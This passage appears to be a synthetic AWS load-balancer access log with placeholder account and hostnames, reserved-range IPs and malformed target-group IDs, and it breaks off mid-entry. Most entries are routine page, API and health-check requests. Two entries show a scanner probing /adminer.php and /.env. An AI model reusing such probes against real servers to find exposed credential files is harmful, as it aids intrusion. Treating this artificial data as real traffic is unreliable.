"Root=1-6723bc78-b9e392d3bf844abd869ac9b4" "staging-alb.example.com" "-" 0 2024-11-01T00:20:56.860251Z "forward" "-" "-" "15.220.129.159:443" "200" "-" "-" +https 2024-11-01T00:20:57.146022Z prod-web-alb 50.123.192.190:63169 10.0.34.15:443 0.084333 0.212286 0.082423 404 404 617 1659 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc79-3de6aeabb54b4cce9e4b1fef" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:57.146022Z "forward" "-" "-" "10.0.34.15:443" "404" "-" "-" +https 2024-11-01T00:20:57.457185Z prod-web-alb 94.146.80.171:34840 10.0.54.87:443 0.080468 0.017650 0.086187 302 302 598 7928 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc79-671b09c6526346d1a9a90714" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:57.457185Z "forward" "-" "-" "10.0.54.87:443" "302" "-" "-" +http 2024-11-01T00:20:59.176139Z staging-alb 40.166.77.175:58518 32.127.81.175:443 0.026773 0.139844 0.038861 200 200 207 7579 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc7b-2e4f3f8eebaf46a4a41e9333" "staging-alb.example.com" "-" 7 2024-11-01T00:20:59.176139Z "forward" "-" "-" "32.127.81.175:443" "200" "-" "-" +https 2024-11-01T00:21:00.603152Z prod-web-alb 47.36.89.65:29421 10.0.95.201:443 0.075817 0.214479 0.027374 301 301 444 2347 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc7c-3f93885ec60e4a8abd347517" "prod-web-alb.example.com" "-" 8 2024-11-01T00:21:00.603152Z "forward" "-" "-" "10.0.95.201:443" "301" "-" "-" +http 2024-11-01T00:21:00.705174Z staging-alb 18.142.151.162:21743 136.23.223.9:80 0.063364 0.214508 0.148957 302 302 930 987 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc7c-a9534239c0d14238a70b6bb3" "staging-alb.example.com" "-" 1 2024-11-01T00:21:00.705174Z "forward" "-" "-" "136.23.223.9:80" "302" "-" "-" +http 2024-11-01T00:21:01.668035Z staging-alb 146.157.109.135:57481 190.141.203.50:80 0.049172 0.746866 0.050955 200 200 290 9846 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc7d-fd16c6b3fb024db4b6c9e66f" "staging-alb.example.com" "-" 1 2024-11-01T00:21:01.668035Z "forward" "-" "-" "190.141.203.50:80" "200" "-" "-" +https 2024-11-01T00:21:02.857420Z prod-api-alb 161.236.71.93:10873 10.0.147.226:443 0.004714 0.336149 0.075167 200 200 927 270 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc7e-4264cda74f004f5b8d19fce3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:21:02.857420Z "forward" "-" "-" "10.0.147.226:443" "200" "-" "-" +https 2024-11-01T00:21:04.215613Z staging-alb 10.89.95.197:52174 249.17.197.249:8080 0.100020 0.400590 0.145934 404 404 922 11645 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc80-eab0be87b14b459e8d1f2d8e" "staging-alb.example.com" "-" 7 2024-11-01T00:21:04.215613Z "forward" "-" "-" "249.17.197.249:8080" "404" "-" "-" +https 2024-11-01T00:21:04.530309Z prod-web-alb 133.52.236.97:34454 10.0.212.249:443 0.038187 0.306866 0.079601 200 200 424 6495 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc80-4962168d051749a0a228a953" "prod-web-alb.example.com" "-" 0 2024-11-01T00:21:04.530309Z "forward" "-" "-" "10.0.212.249:443" "200" "-" "-" +https 2024-11-01T00:21:06.074994Z staging-alb 176.128.170.88:52226 175.126.179.194:8080 0.082534 0.026458 0.136896 200 200 718 3591 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc82-a32ddf82a15145e8b42a3798" "staging-alb.example.com" "-" 5 2024-11-01T00:21:06.074994Z "forward" "-" "-" "175.126.179.194:8080" "200" "-" "-" +https 2024-11-01T00:21:06.809770Z prod-web-alb 100.250.53.42:55022 10.0.237.198:443 0.074618 0.070034 0.066379 404 404 881 11502 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc82-675d756b00c44a6b88bca7a2" "prod-web-alb.example.com" "-" 8 2024-11-01T00:21:06.809770Z "forward" "-" "-" "10.0.237.198:443" "404" "-" "-" +https 2024-11-01T00:21:06.959285Z staging-alb 144.135.83.221:24383 105.188.159.198:8080 0.063181 0.168043 0.044747 301 301 630 13105 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc82-3a29cdac22114b1ca9852445" "staging-alb.example.com" "-" 4 2024-11-01T00:21:06.959285Z "forward" "-" "-" "105.188.159.198:8080" "301" "-" "-" +https 2024-11-01T00:21:08.757025Z prod-api-alb 253.226.94.86:24168 10.0.178.110:443 0.026621 0.090855 0.077486 302 302 179 4495 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc84-d86bf8d86e164a908d73efd7" "prod-api-alb.example.com" "-" 6 2024-11-01T00:21:08.757025Z "forward" "-" "-" "10.0.178.110:443" "302" "-" "-" +https 2024-11-01T00:21:09.316035Z prod-api-alb 145.83.243.43:48465 10.0.215.116:443 0.022201 0.121544 0.032228 404 404 913 10185 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc85-69727985ab45405ebdbeb912" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:09.316035Z "forward" "-" "-" "10.0.215.116:443" "404" "-" "-" +https 2024-11-01T00:21:09.598984Z prod-api-alb 185.181.166.125:15477 10.0.189.249:443 0.000044 0.433605 0.035879 301 301 533 9276 "POST /adminer.php HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc85-72c2b93a1f4b4720ba5a2983" "-" "-" 10 2024-11-01T00:21:09.598984Z "forward" "-" "-" "10.0.189.249:443" "301" "-" "-" +http 2024-11-01T00:21:10.574299Z staging-alb 137.17.84.233:25340 171.238.152.4:80 0.072325 0.414141 0.020617 301 301 7 10807 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc86-45f85ca77474487aa0ba634b" "staging-alb.example.com" "-" 4 2024-11-01T00:21:10.574299Z "forward" "-" "-" "171.238.152.4:80" "301" "-" "-" +https 2024-11-01T00:21:10.899349Z prod-web-alb 108.41.128.77:27520 10.0.40.41:443 0.099404 0.032032 0.042229 200 200 755 6671 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc86-53df82861e9e4d49bb221602" "prod-web-alb.example.com" "-" 5 2024-11-01T00:21:10.899349Z "forward" "-" "-" "10.0.40.41:443" "200" "-" "-" +https 2024-11-01T00:21:12.147798Z prod-api-alb 242.217.115.39:43512 10.0.106.103:443 0.098212 0.156518 0.017385 200 200 59 12926 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc88-ce38a66a9bd747eb84b5493a" "prod-api-alb.example.com" "-" 4 2024-11-01T00:21:12.147798Z "forward" "-" "-" "10.0.106.103:443" "200" "-" "-" +https 2024-11-01T00:21:12.825478Z prod-api-alb 220.182.139.223:60001 10.0.72.62:443 0.074610 0.100200 0.025863 404 404 411 2072 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc88-1c761ee5ed6841f3a1cb2e4c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:21:12.825478Z "forward" "-" "-" "10.0.72.62:443" "404" "-" "-" +http 2024-11-01T00:21:14.079119Z staging-alb 29.9.12.151:49049 69.172.83.163:443 0.105641 0.328805 0.091537 200 200 464 13150 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc8a-83a1cb8003de4dbe89d25047" "staging-alb.example.com" "-" 10 2024-11-01T00:21:14.079119Z "forward" "-" "-" "69.172.83.163:443" "200" "-" "-" +https 2024-11-01T00:21:14.520575Z staging-alb 162.204.112.97:20377 5.98.183.188:443 0.040400 0.661736 0.003904 200 200 491 3742 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc8a-c6a2a140121b42b2accfc476" "staging-alb.example.com" "-" 8 2024-11-01T00:21:14.520575Z "forward" "-" "-" "5.98.183.188:443" "200" "-" "-" +https 2024-11-01T00:21:16.376229Z prod-web-alb 185.181.166.125:24220 10.0.241.136:443 0.023372 0.427499 0.022198 301 301 529 1677 "POST /.env HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc8c-115ab5e667e7432e84db457d" "-" "-" 1 2024-11-01T00:21:16.376229Z "forward" "-" "-" "10.0.241.136:443" "301" "-" "-" +https 2024-11-01T00:21:18.119118Z prod-web-alb 7.49.151.204:56506 10.0.59.71:443 0.050693 0.231573 0.043785 302 302 527 6659 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc8e-bd2f9500d9de48c999bd3ca1" "prod-web-alb.example.com" "-" 1 2024-11-01T00:21:18.119118Z "forward" "-" "-" "10.0.59.71:443" "302" "-" "-" +http 2024-11-01T00:21:18.757287Z staging-alb 31.44.140.162:64519 160.130.60.82:80 0.083166 0.601398 0.044557 200 200 105 2748 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc8e-50614908c0ee4e69836100ec" "staging-alb.example.com" "-" 5 2024-11-01T00:21:18.757287Z "forward" "-" "-" "160.130.60.82:80" "200" "-" "-" +https 2024-11-01T00:21:20.278566Z prod-api-alb 110.11.26.249:42041 10.0.173.157:443 0.078242 0.041687 0.066645 301 301 753 13070 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc90-2d31587a8fd14a82a5025170" "prod-api-alb.example.com" "-" 5 2024-11-01T00:21:20.278566Z "forward" "-" "-" "10.0.173.157:443" "301" "-" "-" +https 2024-11-01T00:21:22.272227Z prod-web-alb 100.68.241.25:31304 10.0.64.181:443 0.057581 0.405237 0.034064 200 200 185 5473 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc92-392c747577674c9fbcc038ba" "prod-web-alb.example.com" "-" 2 2024-11-01T00:21:22.272227Z "forward" "-" "-" "10.0.64.181:443" "200" "-" "-" +http 2024-11-01T00:21:23.937120Z staging-alb 13.203.57.11:11029 102.138.55.96:8080 0.048506 0.533205 0.049649 301 301 869 2684 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc93-9a26b90c42f44493ac5792e3" "staging-alb.example.com" "-" 8 2024-11-01T00:21:23.937120Z "forward" "-" "-" "102.138.55.96:8080" "301" "-" "-" +https 2024-11-01T00:21:25.313201Z prod-web-alb 42.30.129.66:44698 10.0.203.11:443 0.015319 0.432111 0.045440 302 302 888 9763 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc95-bcbdaa82bc124cfdb79a2cad" "prod-web-alb.example.com" "-" 0 2024-11-01T00:21:25.313201Z "forward" "-" "-" "10.0.203.11:443" "302" "-" "-" +https 2024-11-01T00:21:27.162059Z prod-api-alb 69.153.240.160:39575 10.0.121.171:443 0.063416 0.012084 0.039462 200 200 997 2767 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc97-6b09b0c790374192a95b95b7" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:27.162059Z "forward" "-" "-" "10.0.121.171:443" "200" "-" "-" +https 2024-11-01T00:21:28.743075Z prod-api-alb 105.244.45.234:35011 10.0.104.90:443 0.039880 0.287510 0.003885 302 302 364 6296 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc98-935a8d7d41f04080a71274c3" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:28.743075Z "forward" "-" "-" "10.0.104.90:443" "302" "-" "-" +https 2024-11-01T00:21:29.562783Z staging-alb 153.47.127.98:43610 66.176.128.151:80 0.144519 0.635064 0.058836 200 200 163 9404 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc99-f5ef1c709e7141f7b3303dfa" "staging-alb.example.com" "-" 5 2024-11-01T00:21:29.562783Z "forward" "-" "-" "66.176.128.151:80" "200" "-" "-" +https 2024-11-01T00:21:31.068270Z staging-alb 247.105.126.175:12495 143.167.197.149:443 0.076693 0.654383 0.116140 200 200 492 10057 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc9b-bf1118d9e254451eb54c94e4" "staging-alb.example.com" "-" 7 2024-11-01T00:21:31.068270Z "forward" "-" "-" "143.167.197.149:443" "200" "-" "-" +https 2024-11-01T00:21:31.492266Z prod-web-alb 6.150.61.48:31871 10.0.235.227:443 0.046018 0.137089 0.066939 301 301 849 10395 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc9b-96f7bb4d67784619afb8d6a9" "prod-web-alb.example.com" "-" 10 2024-11-01T00:21:31.492266Z "forward" "-" "-" "10.0.235.227:443" "301" "-" "-" +https 2024-11-01T00:21:32.110292Z prod-web-alb 177.89.24.74:28076 10.0.105.194:443 0.007407 0.303143 0.091700 404 404 479 7945 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc9c-09496bd43ad447ab91c74b44" "prod-web-alb.example.com" "-" 5 2024-11-01T00:21:32.110292Z "forward" "-" "-" "10.0.105.194:443" "404" "-" "-" +https 2024-11-01T00:21:33.208944Z prod-web-alb 25.150.240.43:62345 10.0.11.109:443 0.032903 0.461116 0.065436 200 200 736 8199 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc9d-49f98795e4ad4194a1946d54" "-" "-" 0 2024-11-01T00:21:33.208944Z "forward" "-" "-" "10.0.11.109:443" "200" "-" "-" +https 2024-11-01T00:21:35.079711Z prod-web-alb 192.47.149.215:33217 10.0.131.121:443 0.027741 0.204291 0.045682 301 301 975 6201 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc9f-9f57372d9a1a4ff1918b0e8b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:21:35.079711Z "forward" "-" "-" "10.0.131.121:443" "301" "-" "-" +https 2024-11-01T00:21:35.701000Z prod-api-alb 122.115.173.28:12444 10.0.70.8:443 0.053202 0.361751 0.055582 200 200 131 4534 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc9f-5870498ea8354e9fadfa5aa4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:21:35.701000Z "forward" "-" "-" "10.0.70.8:443" "200" "-" "-" +https 2024-11-01T00:21:36.901041Z staging-alb 166.111.50.33:20958 204.225.160.24:80 0.031607 0.657189 0.068909 404 404 924 11665 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bca0-02c11d9e164c4db8882f1ce5" "staging-alb.example.com" "-" 4 2024-11-01T00:21:36.901041Z "forward" "-" "-" "204.225.160.24:80" "404" "-" "-" +https 2024-11-01T00:21:38.143405Z prod-api-alb 121.197.114.167:24007 10.0.165.106:443 0.030653 0.154749 0.080242 200 200 926 6987 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bca2-600a77a5d5be4fadbd6dbdd7" "prod-api-alb.example.com" "-" 3 2024-11-01T00:21:38.143405Z "forward" "-" "-" "10.0.165.106:443" "200" "-" "-" +http 2024-11-01T00:21:38.689631Z staging-alb 250.28.106.145:62498 148.10.71.56:80 0.072728 0.152985 0.038203 200 200 218 10830 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bca2-987732ce1b184874a1895053" "staging-alb.example.com" "-" 0 2024-11-01T00:21:38.689631Z "forward" "-" "-" "148.10.71.56:80" "200" "-" "-" +https 2024-11-01T00:21:38.867088Z prod-api-alb 11.141.43.62:35385 10.0.151.131:443 0.069172 0.022031 0.005719 200 200 755 3591 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bca2-3c65b9323a0a4feead495c68" "prod-api-alb.example.com" "-" 8 2024-11-01T00:21:38.867088Z "forward" "-" "-" "10.0.151.131:443" "200" "-" "-" +https 2024-11-01T00:21:39.286573Z staging-alb 133.121.159.226:27781 241.63.4.51:443 0.080379 0.234677 0.065205 200 200 636 8382 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bca3-e8d59fa13c5d41fe9194b97f" "-" "-" 10 2024-11-01T00:21:39.286573Z "forward" "-" "-" "241.63.4.51:443" "200" "-" "-" +https 2024-11-01T00:21:39.398342Z prod-api-alb 251.51.53.21:27410 10.0.57.244:443 0.033245 0.355972 0.017419 200 200 823 14830 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bca3-6241138600ac4469a3c42bed" "prod-api-alb.example.com" "-" 4 2024-11-01T00:21:39.398342Z "forward" "-" "-" "10.0.57.244:443" "200" "-" "-" +http 2024-11-01T00:21:41.307678Z staging-alb 7.56.96.48:15413 211.199.182.167:443 0.110914 0.429844 0.079247 200 200 264 7577 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bca5-ee9f6168340447f2b5850163" "staging-alb.example.com" "-" 1 2024-11-01T00:21:41.307678Z "forward" "-" "-" "211.199.182.167:443" "200" "-" "-" +https 2024-11-01T00:21:41.536968Z prod-web-alb 21.89.217.48:22890 10.0.61.7:443 0.051520 0.384999 0.050075 200 200 440 4557 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bca5-d680f7dc6d7d48aca8382bd7" "prod-web-alb.example.com" "-" 0 2024-11-01T00:21:41.536968Z "forward" "-" "-" "10.0.61.7:443" "200" "-" "-" +https 2024-11-01T00:21:42.010146Z prod-api-alb 250.107.207.107:56878 10.0.100.131:443 0.094188 0.229363 0.063934 200 200 711 13580 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bca6-ee10bbf0e496437b8d783ec7" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:42.010146Z "forward" "-" "-" "10.0.100.131:443" "200" "-" "-" +https 2024-11-01T00:21:42.676246Z staging-alb 170.50.94.2:28288 140.9.123.236:8080 0.043818 0.535163 0.107025 200 200 799 13196 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bca6-15f81a2869d4431b94501292" "staging-alb.example.com" "-" 3 2024-11-01T00:21:42.676246Z "forward" "-" "-" "140.9.123.236:8080" "200" "-" "-" +https 2024-11-01T00:21:43.744814Z prod-web-alb 149.138.38.148:58592 